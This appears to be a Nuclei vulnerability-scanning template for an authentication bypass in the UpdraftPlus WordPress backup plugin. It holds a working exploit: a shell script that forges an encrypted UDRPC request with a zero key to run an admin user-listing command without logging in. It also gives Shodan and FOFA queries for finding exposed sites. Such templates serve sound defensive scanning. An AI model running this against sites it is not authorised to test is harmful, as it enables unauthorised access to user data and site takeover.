UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass

id: CVE-2026-10795

info:
  name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
  author: theamanrawat,s4e-io
  severity: high
  description: |
    UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
  remediation: |
    Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
  reference:
    - https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
    - https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-10795
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2026-10795
    epss-score: 0.04308
    epss-percentile: 0.91232
    cwe-id: CWE-347
  metadata:
    max-request: 2
    verified: true
    shodan-query: http.html:"updraftplus"
    fofa-query: body="/wp-content/plugins/updraftplus"
  tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev

code:
  - engine:
      - sh

    source: |
      #!/bin/sh
      KEY_NAME="0.central.updraftplus.com"
      TIMESTAMP=$(date +%s)
      RAND=424243
      JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
      CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
      RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
      RSA_LEN=$(printf '%03x' ${#RSA_B64})
      CT_LEN=$(printf '%016x' ${#CT_B64})
      UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
      ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
      printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"

http:
  - raw:
      - |
        GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "UpdraftPlus")'
          - 'compare_versions(version, "<= 1.26.4")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: version
        part: body
        group: 1
        regex:
          - "(?i)Stable tag:\\s*([\\d.]+)"
        internal: true

  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {{code_response}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"udrpc_message\":\"")'
        condition: and